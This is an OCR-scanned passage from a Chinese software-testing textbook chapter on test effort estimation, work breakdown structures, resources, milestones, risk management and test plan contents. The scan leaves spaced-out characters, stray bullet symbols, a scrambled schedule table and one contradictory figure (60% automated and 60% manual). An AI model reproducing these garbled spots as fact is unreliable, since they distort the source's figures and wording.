测试 中 ,不 仅 要 完成 新 功能 的 测试 ,还 要 完成 第 1 个 版 本 的 功能 回归 测试 ,以 确保 原 有 的 功能 
正常 。 

在 一 般 情况 下 ,一 个 项 目 要 进行 两 三 次 回归 测试 。 所 以 ,假定 一 轮 (Round) 功 能 测试 需要 
100 个 人 日 , 则 完成 一 个 项 目 所 有 的 功能 测试 肯定 就 不 止 100 个 人 日 ,往往 需要 200 一 300 多 
个 人 日 。 可 以 采用 以 下 公式 计算 : 

W=Wo+WoXRI1+WoXR2+ WoXR3 

(1) W 为 总 工作 量 ,Wo 为 一 轮 测试 的 工作 量 。 

(2) R1,R2,R3 为 每 轮 的 递减 系数 。 受 不 同 的 代码 质量 .开发 流程 和 测试 周期 等 影响 ， 
R1、R2、R3 的 值 是 不 同 的 。 对 于 每 一 个 公司 来 说 ,可 以 通过 历史 积累 的 数据 获得 经 验 值 。 

测试 的 工作 量 ,还 受 自动 化 测试 程度 ,编程 质量 、 开 发 模式 等 多 种 因素 影响 。 在 这 些 影响 
的 因素 中 ,编程 质量 是 主要 的 。 编 程 质量 越 低 ,测试 的 重复 次 数 可 能 就 越 多 。 回 归 测 试 的 范 
围 ,在 这 三 次 中 可 能 各 不 相同 ,这 取决 于 测试 结果 , 即 测试 缺陷 的 分 布 情况 。 如 果 缺 陷 多 且 分 


布 很 广 , 所 有 的 测试 用 例 都 要 被 再 执行 一 遍 。 缺 陷 少 且 分 布 比较 集中 ,可 以 选择 部 分 或 少数 的 
测试 用 例 作为 回归 测试 所 要 执行 的 范围 。 

代码 质量 相对 较 低 的 情况 下 ,假定 R1、R2、R3 的 值 分 别 为 80%、60%、40% , 若 一 轮 功能 
测试 的 工作 量 是 100 个 人 日 , 则 总 的 测试 工作 量 为 280 个 人 日 。 如 果 代 码 质量 高 ,一 般 只 需要 
进行 两 轮回 归 测试 ,R1、R2 值 也 降 为 60%、30%, 则 总 的 测试 工作 量 为 190 个 人 日 ,工作 量 减 
少 了 32% 以 上 。 

自动 化 程度 越 高 ,测试 工作 量 就 越 低 。 由 计算 机 运行 的 自动 化 脚本 效率 很 高 ,能 使 实际 测 
试 执行 的 工作 量 大 大 降低 。 但 是 在 很 多 情况 下 ,测试 自动 化 并 不 能 大 幅度 降低 工作 量 ,因为 测 
试 脚本 开发 的 工作 量 很 大 。 也 就 是 说 ,将 总 体 的 测试 工作 量 前 移 了 ,从 测试 执行 阶段 移 到 测试 
脚本 设计 和 开发 的 阶段 ,总 体 工作 量 没有 明显 降低 。 同 时 ,由 于 自动 化 脚本 可 以 重复 使 用 ,而 
且 机 器 可 以 没 日 没 夜 地 运行 ,回归 测试 就 可 以 频繁 进行 ,如 每 天 可 以 执行 一 次 ,这 样 任何 回归 
缺陷 都 可 以 即时 发 现 ,提高 软件 产品 的 质量 。 

工作 量 的 估计 是 比较 复杂 的 ,针对 不 同 的 应 用 领域 ,程序 设计 技术 、 编 程 语言 等 ,其 估算 方 
法 是 不 同 的 。 其 估算 可 能 要 基于 一 些 假定 或 定义 。 

(1) 效率 假设 。 即 测试 队伍 的 工作 效率 。 对 于 功能 测试 ,这 主要 依赖 于 应 用 的 复杂 度 、 窗 
口 的 个 数 、 每 个 窗口 中 的 动作 数目 。 对 于 容量 测试 ,主要 依赖 于 建立 测试 所 需 数据 的 工作 量 
大 小 。 

(2) 测试 假设 。 目 的 是 验证 一 个 测试 需求 所 需 测 试 的 动作 数目 ,包括 估计 的 每 个 测试 用 
例 所 用 的 时 间 。 

(3) 阶段 假定 。 指 所 处 测试 周期 不 同 阶段 (测试 设计 、 脚 本 开发 ,测试 执行 等 ) 的 划分 , 包 
括 时 间 的 长 短 。 

(4) 复杂 度假 定 。 应 用 的 复杂 度 指标 和 需求 变化 的 影响 程度 决定 了 测试 需求 的 维 数 。 测 
试 需求 的 维 数 越 多 ,工作 量 就 越 大 。 

(5) 风险 假定 。 一 般 考虑 各 种 因素 影响 下 所 存在 的 风险 ,将 这 些 风险 带 来 的 工作 量 设 定 
为 估算 工作 量 之 外 的 10% 一 20%% 。 


10.3.2 工作 分 解 结构 表 方 法 


要 做 好 测试 工作 量 的 估算 ,需要 对 测试 任务 进行 细 化 ,对 每 项 测试 任务 进行 分 解 ,然后 根据 
分 解 后 的 子 任务 进行 估算 。 通 常 来 说 ,分 解 的 粒度 越 小 ,估算 精度 越 高 。 可 以 青 加 上 10% 一 
15% 的 浮动 幅度 ,来 确定 实际 所 需 的 测试 工作 量 。 比 较 专业 的 方法 是 工作 分 解 结构 表 (Work 
Breakdown Structure,WBS) , 它 按 以 下 三 个 步骤 来 完成 。 

(1) 列 出 本 项 目 需要 完成 的 各 项 任务 ,如 测试 计划 、 需 求 和 设计 评审 、 测 试 设计 、 脚 本 开 
发 .测试 执行 等 。 

(2) 对 每 个 任务 进一步 细 分 ,可 进行 多 层次 的 细 分 ,直到 不 能 细 分 为 止 。 如 针对 测试 计 
划 , 首 先 可 细 分 为 : 

QO 确定 测试 目标 。 

@ 确定 测试 范围 。 

@ 确定 测试 资源 和 进度 。 

@ 测试 计划 写作 。 

@ 测试 计划 评审 。 


(3) 列 出 需要 完成 的 所 有 任务 之 后 ,根据 任务 的 层次 给 任务 进行 编号 ,就 形成 了 完整 的 工 
作 分 解 结构 表 ( 如 表 10-2 所 示 ) 。 


表 10-2 ”测试 工作 分 解 结构 表 


1 


~ 


测试 计划 

1.1 确定 测试 目标 

1.2 确定 测试 范围 

1.3 确定 测试 资源 和 进度 
1.4 测试 计划 写作 

1.5 测试 计划 评审 
需求 和 设计 评审 

2.1 阅读 文档 以 了 解 系统 需求 
2.2 需求 规格 说 明 书 评审 


4 测试 执行 
4.1 第 1 轮 新 功能 测试 
4.2 性 能 测试 
4.3 安全 性 测试 
4.4 安装 测试 
4.5 第 2 轮回 归 新 测试 
4.6 升级 和 迁移 测试 
4.7 最 后 一 轮回 归 测 试 
5 测试 环境 建立 和 维护 


2.3 编写 /修改 测试 需求 5.1 软 硬 件 购买 
2.4 设计 讨论 5.2 测试 环境 建立 
2.5 设计 文档 评审 5.3 日 常 维护 

3 测试 设计 和 脚本 开发 6 测试 结果 分 析 和 报告 
3.1 确定 测试 点 6.1 缺陷 跟踪 和 分 析 
3.2 设计 测试 用 例 6.2 性 能 测试 结果 分 析 
3.3 评审 和 修改 测试 用 例 6.3 编写 测试 报告 
3.4 设计 测试 脚本 结构 7 测试 管理 工作 
3.5 编写 测试 脚本 基础 函数 7.1 测试 人 员 培 训 
3.6 录制 测试 脚本 7.2 项 目 会 议 
3.7 调试 和 修改 测试 脚本 7.3 日 常 管理 
3.8 测试 数据 准备 


WBS 除了 用 表格 的 方式 表达 之 外 ,还 可 以 采用 结构 图 的 方式 ,那样 会 更 直观 ,方便 ,如 
图 10-1 所 示 。 

当 WBS 完成 之 后 ,就 拥有 了 制定 日 程 安排 ,资源 分 配 和 预算 编制 的 基础 信息 ,这 样 不 仅 
可 获得 总 体 的 测试 工作 量 , 还 包括 各 个 阶段 或 各 个 任务 的 工作 量 , 有 利于 资源 分 配 和 日 程 安 
排 。 所 以 ,WBS 方法 不 仅 适 合 工作 量 的 估算 ,还 适合 日 程 安排 资源 分 配 等 计划 工作 。 


10.3.3 资源 的 安排 


软件 测试 项 目的 资源 管理 是 一 项 最 基本 的 内 容 . 项 目的 完成 依赖 于 必要 的 资源 ,“ 巧 妇 难 
作 无 米 之 炊 ”, 没 有 资源 就 无 法 去 做 事情 。 如 果 资 源 不 够 充分 ,项 目 能 进行 下 去 ,但 不 能 及 时 完 
成 任务 。 资 源 管 理 的 目的 不 仅 要 保证 测试 项 目 有 足够 的 资源 ,同时 ,应 能 充分 有 效 地 利用 现 有 
资源 ,进行 资源 的 优化 组 合 ,避免 资源 浪费 。 

测试 项 目的 资源 ,主要 分 为 人 力 资源 、 系 统 资源 (硬件 和 软件 资源 ) 以 及 环境 资源 。 每 一 类 
资源 都 由 4 个 特征 来 说 明 : 资源 描述 、 可 用 性 说 明 、 需 要 该 资源 的 时 间 以 及 该 资源 被 使 用 的 持 
续 时 间 。 后 两 个 特征 可 以 看 成 是 时 间 窗 口 ,对 于 一 个 特定 的 窗口 而 言 ,资源 的 可 用 性 必须 在 开 
发 的 最 初期 就 建立 起 来 。 

在 完成 了 测试 工作 量 估 算 之 后 就 能 够 基本 确定 一 个 软件 测试 项 目 所 需 的 人 员 数 量 , 并 写 
人 测试 计划 中 。 但 是 , 仅 知道 人 员 数 量 是 不 够 的 ,因为 软件 测试 项 目 所 需 的 人 员 和 要 求 在 各 个 
阶段 是 不 同 的 。 
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(1) 在 初期 ,也许 只 要 测试 组 长 介入 进去 ,为 测试 项 目 提供 总 体 方向 .制定 初步 的 测试 计 
划 , 申 请 系统 资源 。 

(2) 在 测试 前 期 ,需要 一 些 资深 的 测试 人 员 ,详细 了 解 项 目 所 涉及 的 业务 和 技术 ,分 析 和 
评估 测试 需求 ,设计 测试 用 例 、 开 发 测试 脚本 。 

(3) 在 测试 中 期 ,主要 是 测试 执行 。 如 果 测 试 自动 化 程度 高 ,人 力 的 投入 没有 明显 的 增 
加 ; 如 果 测 试 自 动 化 程度 低 , 需 要 比较 多 的 执行 人 员 ,他 们 也 需要 事先 做 好 一 定 的 准备 。 

(4) 在 测试 后 期 ,资深 的 测试 人 员 可 以 抽出 部 分 时 间 去 准备 新 的 项 目 。 

从 经 验 看 ,人 力 资 源 的 管理 难度 主要 有 以 下 三 个 方面 。 

(1) 资源 需求 的 估计 ,依赖 于 工作 量 的 估计 和 每 个 工程 师 的 能 力 评估 。 

(2) 资源 的 应 急 处 理 , 预 留 10% 的 资源 作为 人 力 储 备 (Buffer) 。 

(3) 资源 的 阶段 间或 多 个 项 目 间 的 平衡 艺术 。 


10.3.4 ”测试 里 程 碑 和 进度 表 


在 软件 测试 项 目的 计划 书 中 ,都 会 制定 一 个 明确 的 日 程 进度 表 。 如 何 对 项 目 进行 阶段 划 
分 、 如 何 控 制 进度 、 如 何 控 制 风险 等 有 一 系列 方法 ,但 最 成 熟 的 技术 是 里 程 碑 管理 。 
里 程 碑 是 项 目 中 完成 阶段 性 工作 的 标志 ,即将 一 个 过 程 性 的 任务 用 一 个 结论 性 的 标志 来 描 
述 任务 结束 的 、 明 确 的 起 止 点 ,一 系列 的 起 止 点 就 构成 引导 整个 项 目 进展 的 里 程 碑 (Milestone)。 
一 个 里 程 碑 标 志 着 上 一 个 阶段 结束 、 下 一 个 阶段 开始 ,也 就 是 定义 当前 阶段 完成 的 标准 (Exit 
Criteria) 和 下 个 阶段 启动 的 条 件 或 前 提 (Entry Criteria) 。 里 程 碑 还 具有 下 列 特征 。 
(1) 里 程 碑 也 是 有 层次 的 ,在 一 个 父 里 程 碑 内 可 以 定义 多 个 子 里 程 碑 ; 
(2) 不 同类 型 的 项 目 , 可 能 设置 不 同类 型 或 不 同 数量 的 里 程 碑 ; 
(3) 不 同 规模 项 目的 里 程 碑 , 其 数量 多 少 不 一 样 ,里 程 碑 可 以 合并 或 分 解 。 
在 软件 测试 周期 中 ,建议 定义 6 个 父 里 程 碑 .十 几 个 子 里 程 碑 。 
M1: 需求 分 析 和 设计 的 审查 
M11: 市 场 /产品 需求 审查 
M12: 产品 规格 说 明 书 的 审查 
M13: 产品 和 技术 知识 传递 
M14: 系统 /程序 设计 的 审查 
M2: 测试 计划 和 设计 
M21: 测试 计划 的 制定 
M22: 测试 计划 的 审查 
M23: 测试 用 例 的 设计 
M24: 测试 用 例 的 审查 
M25: 测试 工具 的 设计 和 选择 
M26: 测试 脚本 的 开发 
M3: 代码 (包括 单元 测试 ) 完 成 
M4: 测试 执行 
M41: 集成 测试 完成 
M42: 功能 测试 完成 
M43: 系统 测试 完成 


M44: 验收 测试 完成 
M45: 安装 测试 完成 
M5: 代码 冻结 
M6: 测试 结束 
M61 : 为 产品 发 布 进行 最 后 一 轮 测试 
M62: 写 测试 和 质量 报告 
对 每 个 子 里 程 碑 , 如 果 需 要 更 加 严格 的 控制 ,还 可 以 定义 更 细 的 里 程 碑 , 见 表 10-3 。 


表 10-3 软件 测试 进度 表 例 子 


任务 天 任务 天 任务 天 任务 天 
M21: 测试 计划 制定 | 11 | M23: 测试 设计 12 | 开发 测试 过 程 5 | 验证 测试 结果 2 
确定 项 目 1 | 测试 用 例 的 设计 7 | 测试 和 调试 测试 过 程 | 2 | 调查 突 发 结果 1 
定义 测试 策略 2 | 测试 用 例 的 审查 2 | 修改 测试 过 程 2 | 生成 缺陷 日 记 1 
分 析 测试 需求 3 | 测试 工具 的 选择 1 | 建立 外 部 数据 集 1 | M62: 测试 评估 3 

a 重新 测试 并 调试 测 评估 测试 需求 的 覆 
估算 测试 工作 量 1 | 测试 环境 的 设计 2 试 过 程 2 盖 率 1 
确定 测试 资源 1 |M26: 测试 开发 15 | M42: 功能 测试 9 | 评估 缺陷 0.5 
建立 测试 结构 组 织 | 1 | 建立 测试 开发 环境 | 1 | 设置 测试 系统 。 | 1 | 类 定 是 否 达 到 测试 .5 
完成 的 标准 

生成 测试 计划 文档 | 2 | 录制 和 回放 原型 过 程 | 2 | 执行 测试 4 | 测试 报告 1 


10.4 测试 风险 和 测试 策略 


测试 总 是 存在 着 风险 ,软件 测试 项 目的 风险 管理 尤为 重要 ,应 预先 重视 风险 的 评估 ,并 对 
要 出 现 的 风险 有 所 防范 。 在 风险 管理 中 ,首先 要 将 风险 识别 出 来 ,特别 是 确定 哪些 是 可 避免 的 
风险 ,哪些 是 不 可 避免 的 风险 ,对 可 避免 的 风险 要 尽量 采取 措施 去 避免 ,所 以 风险 识别 是 第 一 
步 , 也 是 很 重要 的 一 步 。 风 险 识别 的 有 效 方法 是 建立 风险 项 目 检查 表 , 按 风险 内 容 进行 分 项 检 
查 , 逐 项 检查 。 然 后 ,对 识别 出 来 的 风险 进行 分 析 ,主要 从 下 列 4 个 方面 进行 分 析 。 

(1) 发 生 的 可 能 性 (风险 概率 ) 分 析 ,建立 一 个 尺度 表示 风险 可 能 性 (如 极 罕 见 、 罕 见 、 普 
通 、 可 能 、 极 可 能 )， 

(2) 分 析 和 描述 发 生 的 结果 或 风险 带 来 的 后 果 , 即 估计 风险 发 生 后 对 产品 和 测试 结果 的 
影响 、 造 成 的 损失 等 ; 

(3) 确定 风险 评估 的 正确 性 ,要 对 每 个 风险 的 表现 范围. 时间 做 出 尽量 准确 的 判断 ; 

(4) 根据 损失 (影响 ) 和 风险 概率 的 乘积 , 排 定 风险 的 优先 队列 。 

评估 方法 可 以 采用 情景 分 析 和 专家 决策 方法 、 损 失 期 望 值 法 .风险 评审 技术 、 模 拟 仿真 法 
和 FMEA(Failure Mode and Effects Analysis, 失 效 模型 和 效果 分 析 ) 法 等 。 


10.4.1 测试 风险 管理 计划 


为 了 避免 .转移 或 降低 风险 ,事先 要 做 好 风险 管理 计划 ,包括 单个 风险 的 处 理 和 所 有 风险 
综合 处 理 的 管理 计划 。 风 险 的 控制 是 建立 在 上 述 风 险 评估 的 结果 上 ,对 风险 的 处 理 还 要 制定 
些 应 急 的 有 效 的 处 理 方案 ,不 同类 型 的 风险 ,对策 也 是 不 同 的 。 


(1) 采取 措施 避免 那些 可 以 避免 的 风险 ,如 可 以 通过 事先 列 出 要 检查 的 所 有 条 目 , 在 测试 


环境 设置 好 后 ,由 其 他 人 员 按 已 列 出 条 目 逐 条 检查 ,避免 环境 配置 错误 。 


(2) 风险 转移 ,有 些 风险 可 能 带 来 的 后 果 非 常 严重 ,能 和 否 通过 一 些 方法 ,将 它 转化 为 其 他 
一 些 不 会 引起 严重 后 果 的 低 风险 。 如 产品 发 布 前 夕 发 现 ,由 于 开发 某 个 次 要 的 新 功能 ,给 原 有 
的 功能 带 来 一 个 严重 Bug, 这 时 要 修正 这 个 Bug 所 带 来 的 风险 就 很 大 ,采取 的 对 策 就 是 关闭 


(不 激活 ) 那 个 新 功能 ,转移 修正 Bug 的 风险 。 


(3) 有 些 风 险 不 可 避免 ,就 设法 降低 风险 ,如 “程序 中 未 发 现 的 缺陷 ”这 种 风险 总 是 存在 ， 


就 要 通过 提高 测试 用 例 的 覆盖 率 ( 如 达到 99. 9%) 来 降低 这 种 风险 。 


风险 管理 的 完整 内 容 和 对 策 , 如 图 10-2 所 示 。 控 制 风 险 还 有 一 些 其 他 策略 ,如 : 
(1) 在 做 计划 时 ,估算 资源 .时 间 、 预 算 时 ,要 留 有 余地 ,如 增加 10% 一 15 儿 的 额度 ; 而 且 


把 一 些 环节 或 边界 上 的 有 变化 、 难 以 控制 的 因素 列 人 风险 管理 计划 中 。 


(2) 对 每 个 关键 性 技术 人 员 培 养 后备 人 员 ,做 好 人 员 流 动 的 准备 ,采取 一 些 措施 确保 某 些 


关键 人 员 一 旦 离开 公司 ,项 目 不 会 受到 严重 影响 , 仍 可 以 继续 下 去 。 
(3) 制定 文档 标准 ,并 建立 一 种 机 制 ,保证 文档 及 时 产生 。 


(4) 对 所 有 工作 实施 互相 审查 机 制 ,及 时 发 现 问题 。 


(5) 对 所 有 过 程 进行 日 常 跟踪 ,及 时 发 现 风险 出 现 的 征兆 ,避免 风险 。 
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10-2 风险 管理 的 内 容 和 对 策 


10.4.2 测试 策略 的 确定 


软件 测试 通常 指 实际 运行 被 测 程序 ,输入 相应 的 测试 用 例 ,判定 执行 结果 是 否 符合 要 求 ， 
从 而 检验 程序 的 正确 性 、 可 靠 性 和 有 效 性 。 软 件 测试 可 采用 的 方法 和 技术 是 多 种 多 样 的 ,但 通 


常情 况 下 不 论 采 用 什么 方法 和 技术 ,其 测试 都 是 不 彻底 的 ,也 是 不 完全 的 ,因为 任何 一 次 完全 
测试 或 者 穷 举 测试 ( 即 让 被 测 程序 在 一 切 可 能 的 操作 情况 下 ,包括 正确 的 操作 ,也 包括 错误 的 
操作 情况 下 ,全 部 执行 一 遍 ) 的 工作 量 太 大 ,在 实践 上 行 不 通 。 因 此 ,任何 实际 测试 ,都 不 能 够 
保证 被 测试 程序 中 不 存在 遗漏 的 缺陷 。 

为 了 最 大 程度 地 减少 这 种 遗漏 的 错误 ,同时 也 为 了 最 大 限度 地 发 现 已 经 存在 的 错误 ,在 测 
试 实施 之 前 ,必须 确定 采用 合适 的 测试 策略 和 测试 方法 ,并 以 此 为 依据 制定 详细 的 测试 用 例 。 
而 一 个 好 的 测试 策略 和 测试 方法 , 必 将 给 软件 测试 带 来 事半功倍 的 效果 , 它 可 以 充分 利用 有 限 
的 人 力 和 物力 资源 ,高 效率 ,高 质量 地 完成 测试 。 

由 此 可 知 ,测试 策略 通常 是 描述 测试 项 目的 目标 和 所 采用 的 测试 方法 ,确定 在 不 同 的 测试 
阶段 测试 范围 ,测试 任务 的 优先 级 ,以 及 所 采用 的 测试 技术 和 工具 ,以 获得 最 有 效 的 测试 和 可 
能 达到 的 质量 水 平 。 在 制定 测试 策略 前 ,要 认真 分 析 测 试 策略 影响 因素 ,例如 : 

(1) 要 使 用 的 测试 技术 和 工具 ,如 自动 化 测试 比例 要 达到 60% ,手工 测试 是 60%。 

(2) 测试 完成 标准 。 每 个 具体 软件 都 有 其 特殊 性 ,测试 完成 的 标准 会 有 差异 ,测试 完成 的 
标准 对 策略 确定 有 着 重要 的 影响 ,标准 高 ,测试 工作 量 会 增 大 ,在 资源 有 限 的 情况 下 ,应 借助 有 
效 的 方法 获得 可 接受 的 产品 质量 水 平 。 例 如 ,军用 系统 对 软件 的 可 靠 性 ,安全 性 要 求 非常 高 ， 
而 小 型 商场 的 收费 系统 , 则 强调 数据 的 准确 性 、 管 理 的 灵活 性 和 易 用 性 。 

(3) 影响 资源 分 配 的 特殊 考虑 ,例如 ,有 些 测试 必须 在 周末 进行 ,有 些 测 试 必须 通过 远程 
环境 执行 ,有 些 测 试 需 考虑 与 外 部 接口 或 硬件 接口 集成 后 进行 。 在 测试 资源 分 配 时 ,考虑 测试 
需求 ,有 针对 性 地 采取 不 同 的 测试 方法 和 时 间 ,会 节省 一 定 的 测试 资源 。 

依据 软件 本 身 的 性 质 、 规 模 及 应 用 的 场合 不 同 , 将 选择 不 同 的 测试 方案 ,以 最 少 的 软件 、 硬 
件 及 人 力 资源 的 投入 得 到 最 佳 的 测试 效果 ,这 就 是 测试 策略 目标 所 在 。 通 过 以 上 分 析 , 可 以 对 
测试 策略 的 确定 过 程 归纳 为 输入 、 输 出 和 过 程 。 

1. 输入 

(1) 要 求 的 硬件 和 软件 组 件 的 详细 说 明 , 包 括 测 试 工具 (测试 环境 ,测试 工具 数据 ); 

(2) 针对 测试 和 进度 约束 (人 员 ,进度 表 ) 而 需要 的 资源 的 角色 和 职责 说 明 ; 

(3) 测试 方法 (标准 ); 

(4) 应 用 程序 的 功能 性 和 技术 性 需求 (需求 ,变更 请 求 ,技术 性 和 功能 性 设计 文档 )， 

(5) 系统 不 能 够 提供 的 需求 (系统 局 限 ) 。 

2. 输出 

(1) 已 批准 和 签署 的 测试 策略 文档 ,测试 计划 ,测试 用 例 ; 

(2) 需要 解决 方案 的 测试 项 目 (通常 要 求 客户 项 目的 管理 层 协调 ) 。 

3. 过 程 

测试 策略 是 关于 如 何 测试 系统 的 正式 描述 ,要 求 开 发 针对 所 有 测试 级 别 的 测试 策略 。 测 
试 小 组 分 析 需 求 ,编写 测试 策略 并 且 和 项 目 小 组 一 起 复审 计划 。 测 试 计 划 应 该 包括 测试 用 例 
和 条 件 .测试 环境 .与 任务 相关 的 测试 .通过 /失败 的 准则 和 测试 风险 评估 。 测 试 进度 表 将 识别 
所 有 要 求 有 成 功 的 测试 成 果 的 任务 ,活动 的 进度 和 资源 要 求 。 

那么 ,究竟 如 何 才能 确定 一 个 好 的 测试 策略 和 测试 方法 呢 ? 常用 的 策略 有 基于 测试 技术 
的 测试 策略 和 基于 测试 方案 的 综合 测试 策略 。 

(1) 基于 测试 技术 的 测试 策略 。 著 名 软件 测试 专家 Myers 指出 了 使 用 各 种 测试 方法 的 综 


合 策略 : 

Q@ 在 任何 情况 下 都 必须 使 用 边界 值 分 析 方 法 。 经 验 表 明 , 用 这 种 方法 设计 出 测试 用 例 发 
现 程序 错误 的 能 力 最 强 。 

回 必要 时 用 等 价 类 划分 方法 补充 一 些 测试 用 例 。 

@ 用 错误 推测 法 再 追加 一 些 测试 用 例 。 

@ 对 照 程序 逻辑 ,检查 已 设计 出 的 测试 用 例 的 逻辑 覆盖 程度 。 如 果 没 有 达到 要 求 的 覆盖 
标准 ,应 当 再 补充 足够 的 测试 用 例 。 

@ 如 果 程 序 的 功能 说 明 中 含有 输入 条 件 的 组 合 情 况 , 则 一 开始 就 可 选用 因果 图 法 。 

(2) 基于 测试 方案 的 综合 测试 策略 。 一 方面 ,可 根据 程序 的 重要 性 和 一 旦 发 生 故 障 将 造 
成 的 损失 ,来 确定 它 的 测试 等 级 和 测试 重点 ; 另 一 方面 ,通过 认真 研究 分 析 , 使 用 尽 可 能 少 的 
测试 用 例 ,发现 尽 可 能 多 的 程序 错误 ,因为 一 次 完整 的 软件 测试 过 后 ,如 果 程 序 中 遗漏 的 错误 
过 多 并 且 很 严重 , 则 表明 本 次 测试 是 失败 的 ,是 不 足 的 ; 而 测试 不 足 意味 着 让 用 户 承担 隐藏 错 
误 带 来 的 危险 。 但 是 ,如 果 过 度 测试 , 则 又 会 造成 资源 浪费 。 我 们 需要 在 这 两 点 上 权衡 ,找到 
一 个 最 佳 平衡 点 。 


10.5 测试 计划 的 内 容 与 编制 


软件 项 目 计划 的 目标 是 提供 一 个 框架 ,不 断 收集 信息 ,对 不 确定 性 进行 分 析 , 将 不 确定 性 
的 内 容 慢 慢 转化 为 确定 性 的 内 容 , 该 过 程 最 终 使 得 管理 者 能 够 对 资源 .成 本 及 进度 进行 合理 的 
估算 。 这 些 估算 还 是 在 项 目 早期 做 出 的 ,并 受到 时 间 的 限制 ,所 以 计划 能 接受 一 定 的 风险 和 不 
确定 性 ,今后 还 会 随 着 项 目的 进展 而 不 断 更 新 。 


10.5.1 测试 计划 内 容 


软件 测试 计划 是 指导 测试 过 程 的 纲领 性 文件 ,描述 测试 活动 的 范围 方法 、 策 略 、 资 源 、 任 
务 安排 和 进度 等 ,并 确定 测试 项 .哪些 功能 特性 将 被 测试 .哪些 功能 特性 将 无 须 测试 ,识别 测试 
过 程 中 的 风险 。 借 助 软 件 测试 计划 ,确保 测试 实施 过 程 顺畅 ,能 有 效 地 跟踪 和 控制 测试 过 程 ， 
能 容易 应 对 可 能 发 生 的 各 种 变更 。 

在 制定 测试 计划 时 ,由 于 不 同 软件 公司 的 背景 不 同 , 测 试 计划 内 容 会 有 差异 ,但 一 些 基本 
内 容 是 相同 的 。 例 如 ,IEEE 829 一 1998 软件 测试 文档 编制 标准 中 规定 软件 测试 计划 应 包含 如 
下 16 项 内 容 。 

(1) 测试 计划 标识 符 ( 文 档 编 号 ) ; 
(2) 项 目 总 体 情况 简介 ; 

(3) 测试 项 (Test Item); 

(4) 需要 测试 的 功能 ; 

(5) 方法 (策略 ) ; 

(6) 不 需要 测试 的 功能 ; 

(7) 测试 项 通过 /失败 的 标准 ; 
(8) 测试 中 断 和 恢复 的 规定 ; 

(9) 测试 完成 所 提交 的 材料 ; 
(10) 测试 任务 ; 


(11) 测试 环境 要 求 ; 

(12) 测试 人 员 职 责 ; 

(13) 人 员 安 排 与 培训 需求 ; 

(14) 进度 表 ; 

(15) 潜在 的 问题 和 风险 ; 

(16) 审批 。 

在 测试 计划 中 ,还 要 考虑 休假 和 法 定 假日 带 来 的 影响 ,以 及 做 好 项 目 相关 技术 和 业务 的 培 
训 。 软 件 测 试 计 划 内 容 主 要 集中 在 测试 目标 和 需求 说 明 、 测 试 工作 量 估算 、 测 试 策略 .测试 资 
源 配置 .进度 表 、 测 试 风险 等 。 

(1) 目标 和 范围 : 包括 质量 目标 .产品 特性 .各 阶段 的 测试 对 象 、 目 标 .范围 和 限制 。 

(2) 项 目 估算 : 根据 历史 数据 和 采用 恰当 的 评估 技术 ,如 项 目 工作 分 解 结构 方法 ,对 测试 
工作 量 、 所 需 资源 (人 力 、 时 间 、 软 硬件 环境 ) 做 出 合理 的 估算 。 

(3) 风险 计划 : 测试 可 能 存在 的 风险 分 析 、 识 别 , 以 及 风险 的 回避 监控 和 管理 。 

(4) 进度 表 : 根据 项 目 估算 结果 和 人 力 资源 现状 ,以 软件 测试 的 常规 周期 作为 参考 ,采用 
关键 路 径 法 等 ,完成 进度 的 安排 ,采用 时 限 图 、 甘 特 图 等 方法 来 描述 资源 和 时 间 的 关系 ,例如 ， 
什么 时 候 测试 哪 一 个 模块 .什么 时 候 要 完成 某 项 测试 任务 等 。 

(5) 项 目 资源 : 人 员 、 硬 件 和 软件 等 资源 的 组 织 和 分 配 , 人 力 资源 是 重点 , 它 和 日 程 安排 
联系 密切 。 

(6) 跟踪 和 控制 机 制 : 质量 保证 和 控制 ,变化 管理 和 控制 等 。 例 如 ,明确 如 何 提交 一 个 问 
题 报告 ,如何 去 界定 一 个 问题 的 性 质 或 严重 程度 、 多 少时 间 内 做 出 响应 等 。 

对 于 大 型 软件 项 目 ,可 能 需要 一 系列 测试 计划 书 , 例 如 , 按 集成 测试 ,系统 测试 ,验收 测试 
等 阶段 去 组 织 ,为 每 一 个 阶段 制定 一 个 计划 书 , 也 可 以 为 每 个 测试 项 (安全 性 测试 ,性 能 测试 、 
可 靠 性 测试 等 ) 制 定 特别 的 计划 书 , 甚 至 可 以 制定 测试 范围 /风险 分 析 报告 .测试 标准 工作 计 
划 、 资 源 和 培训 计划 、 风 险 管理 计划 ,测试 实施 计划 ,质量 保证 计划 等 。 


10. 5.2 测试 项 目的 计划 过 程 


测试 项 目的 计划 不 可 能 一 气 呵 成 ,而 是 要 经 过 计划 初期 .起草 ` 讨 论 、 审 查 等 不 同 阶段 , 才 
能 将 测试 计划 制定 好 。 测 试 计划 的 编写 是 一 项 系统 工作 ,编写 者 随 着 对 项 目 逐 步 了 解 ,不 断 细 
化 和 完善 测试 计划 。 一 般 来 说 ,在 测试 需求 分 析 前 制作 总 体 测试 计划 书 ,在 测试 需求 分 析 后 制 
作 详 细 测 试 计 划 书 。 

(1) 计划 初期 是 收集 整体 项 目 计划 ,需求 分 析 、 功 能 设计 、 系 统 原 型 .用 户 用 例 (Use Case) 


交流 ,在 需求 和 设计 上 达到 一 致 的 理解 。 

(2) 测试 计划 最 关键 的 一 步 就 是 确定 测试 需求 和 测试 范围 ,将 软件 系统 逐步 分 解 ,将 软件 
分 解 为 较 小 而 且 相 对 独立 的 功能 模块 。 这 样 ,针对 各 个 单元 就 比较 容易 写成 测试 需求 ,测试 需 
求 是 测试 用 例 设计 的 基础 ,并 用 来 衡量 测试 覆盖 率 的 重要 指标 。 

(3) 计划 起 草 。 根 据 计 划 初 期 所 掌握 的 各 种 项 目 信息 ,确定 测试 策略 ,选择 合适 有效 的 
测试 方法 ,完成 测试 计划 的 框架 。 

(4) 内 部 审查 。 在 提供 给 其 他 部 门 讨论 之 前 , 先 在 测试 小 组 /部 门 内 部 进行 审查 ,测试 团 
队 的 其 他 人 员 帮 助 发 现 问题 ,并 在 测试 团队 内 部 达成 一 致 。 


(5) 计划 讨论 和 修改 。 召 开 有 需求 分 析 、 设 计 、 开 发 人 员 参 加 的 计划 讨论 会 议 , 测 试 组 长 
对 测试 计划 设计 的 思想 、 策 略 做 较 详细 的 介绍 ,并 听取 大 家 对 测试 计划 中 各 个 部 分 的 意见 , 进 
行 讨论 交流 。 

(6) 测试 计划 的 多 方 审查 。 计 划 的 审查 是 必 不 可 少 的 ,尽管 测试 团队 努力 制定 一 个 全 面 
的 有 效 的 测试 计划 ,但 还 会 受到 测试 团队 本 身 的 局 限 性 .测试 计划 可 能 不 够 完整 准确。 此 
